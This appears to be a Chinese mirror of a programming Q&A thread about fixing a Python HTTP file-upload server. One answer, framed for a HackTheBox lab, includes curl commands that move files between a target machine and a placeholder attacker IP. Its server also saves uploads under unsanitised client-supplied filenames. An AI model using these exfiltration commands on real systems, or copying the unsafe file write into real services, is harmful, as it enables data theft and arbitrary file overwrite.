代码之家  ›  专栏  ›  技术社区  ›  john

用于接收文件的Python SimpleHTTPServer

  •  13
  • john  · 技术社区  · 8 年前

    我正在使用SimpleHTTPServer的do_POST方法来接收文件。如果我使用curl上传png文件,该脚本工作正常,但每当我使用python请求库上传文件时,文件会上传但会损坏。下面是SimpleHTTPServer代码

    #!/usr/bin/env python
    # Simple HTTP Server With Upload.
    
    import os
    import posixpath
    import BaseHTTPServer
    import urllib
    import cgi
    import shutil
    import mimetypes
    import re
    try:
        from cStringIO import StringIO
    except ImportError:
        from StringIO import StringIO
    
    class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
        # Simple HTTP request handler with POST commands.
    
        def do_POST(self):
            """Serve a POST request."""
            r, info = self.deal_post_data()
            print r, info, "by: ", self.client_address
            f = StringIO()
    
            if r:
                f.write("<strong>Success:</strong>")
            else:
                f.write("<strong>Failed:</strong>")
    
            length = f.tell()
            f.seek(0)
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.send_header("Content-Length", str(length))
            self.end_headers()
            if f:
                self.copyfile(f, self.wfile)
                f.close()
    
        def deal_post_data(self):
            print self.headers
            boundary = self.headers.plisttext.split("=")[1]
            print 'Boundary %s' %boundary
            remainbytes = int(self.headers['content-length'])
            print "Remain Bytes %s" %remainbytes
            line = self.rfile.readline()
            remainbytes -= len(line)
            if not boundary in line:
                return (False, "Content NOT begin with boundary")
            line = self.rfile.readline()
            remainbytes -= len(line)
            fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
            if not fn:
                return (False, "Can't find out file name...")
            path = self.translate_path(self.path)
            fn = os.path.join(path, fn[0])
            line = self.rfile.readline()
            remainbytes -= len(line)
            line = self.rfile.readline()
            remainbytes -= len(line)
            try:
                out = open(fn, 'wb')
            except IOError:
                return (False, "Can't create file to write, do you have permission to write?")
    
            preline = self.rfile.readline()
            remainbytes -= len(preline)
            while remainbytes > 0:
                line = self.rfile.readline()
                remainbytes -= len(line)
                if boundary in line:
                    preline = preline[0:-1]
                    if preline.endswith('\r'):
                        preline = preline[0:-1]
                    out.write(preline)
                    out.close()
                    return (True, "File '%s' upload success!" % fn)
                else:
                    out.write(preline)
                    preline = line
            return (False, "Unexpect Ends of data.")
    
    
    
        def translate_path(self, path):
            """Translate a /-separated PATH to the local filename syntax.
    
            Components that mean special things to the local file system
            (e.g. drive or directory names) are ignored.  (XXX They should
            probably be diagnosed.)
    
            """
            # abandon query parameters
            path = path.split('?',1)[0]
            path = path.split('#',1)[0]
            path = posixpath.normpath(urllib.unquote(path))
            words = path.split('/')
            words = filter(None, words)
            path = os.getcwd()
            for word in words:
                drive, word = os.path.splitdrive(word)
                head, word = os.path.split(word)
                if word in (os.curdir, os.pardir): continue
                path = os.path.join(path, word)
            return path
    
        def copyfile(self, source, outputfile):
            """Copy all data between two file objects.
    
            The SOURCE argument is a file object open for reading
            (or anything with a read() method) and the DESTINATION
            argument is a file object open for writing (or
            anything with a write() method).
    
            The only reason for overriding this would be to change
            the block size or perhaps to replace newlines by CRLF
            -- note however that this the default server uses this
            to copy binary data as well.
    
            """
            shutil.copyfileobj(source, outputfile)
    
    
    
    def test(HandlerClass = SimpleHTTPRequestHandler,
             ServerClass = BaseHTTPServer.HTTPServer):
        BaseHTTPServer.test(HandlerClass, ServerClass)
    
    if __name__ == '__main__':
        test()
    

    上传文件的客户端代码在这里

    #!/usr/bin/python
    
    import requests
    
    files = {'file': open('test.png', 'rb')}
    r = requests.post('http://192.168.5.134:8000', files=files)
    print r.request.headers
    

    文件已成功上载,但已损坏。

    python request header

    SimpleHTTPServer response

    使用curl[curl-F'file=@test.png'192.168.5.134:8000/-v],文件已成功上载并打开。

    2 回复  |  直到 8 年前
        1
  •  21
  •   smidgey    5 年前

    2019年更新:我今天在玩hackthebox.eu的时候就在寻找这个功能。我对Python不太熟悉,但我最终选择了这个例子,并将其移植到Python3,因为Python2在这一点上基本上已经过时了。

    希望这能帮助2019年寻找此功能的人,我很高兴听到我可以改进代码的方法。点击获取 https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

    感谢提问者和那些用信息发表评论的人!

    编辑:我被要求粘贴代码,不用担心。我已经从简洁性中剥离了一些评论,因此这里有一些注释:

    1. 基于 gist 因为归因很重要。
    2. 我从响应中去掉了HTML,因为我的用例不需要它。
    3. HTB 所以它基本上是一个当前形状的玩具。
    4. 攻击地球等。

    从保存工具/数据的文件夹中的攻击设备运行脚本,或从您正在旋转的盒子中运行脚本。从目标PC连接到它,以便简单方便地来回推送文件。

    #  Usage - connect from a shell on the target machine:
    #  Download a file from your attack device: 
    curl -O http://<ATTACKER-IP>:44444/<FILENAME>
    
    #  Upload a file back to your attack device: 
    curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
    
    
    #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
    #  parameters to the command line.
    curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
    

    代码:

    #!/usr/env python3
    import http.server
    import socketserver
    import io
    import cgi
    
    # Change this to serve on a different port
    PORT = 44444
    
    class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    
        def do_POST(self):        
            r, info = self.deal_post_data()
            print(r, info, "by: ", self.client_address)
            f = io.BytesIO()
            if r:
                f.write(b"Success\n")
            else:
                f.write(b"Failed\n")
            length = f.tell()
            f.seek(0)
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.send_header("Content-Length", str(length))
            self.end_headers()
            if f:
                self.copyfile(f, self.wfile)
                f.close()      
    
        def deal_post_data(self):
            ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
            pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
            if ctype == 'multipart/form-data':
                form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
                print (type(form))
                try:
                    if isinstance(form["file"], list):
                        for record in form["file"]:
                            open("./%s"%record.filename, "wb").write(record.file.read())
                    else:
                        open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                except IOError:
                        return (False, "Can't create file to write, do you have permission to write?")
            return (True, "Files uploaded")
    
    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print("serving at port", PORT)
        httpd.serve_forever()
    
        2
  •  6
  •   Maximilian Peters    8 年前

    curl request 头部略有不同, 卷曲 有一个额外的空行,而 requests 不。

    代替 preline = self.rfile.readline() 使用以下块

    if line.strip():
        preline = line
    else:
        preline = self.rfile.readline()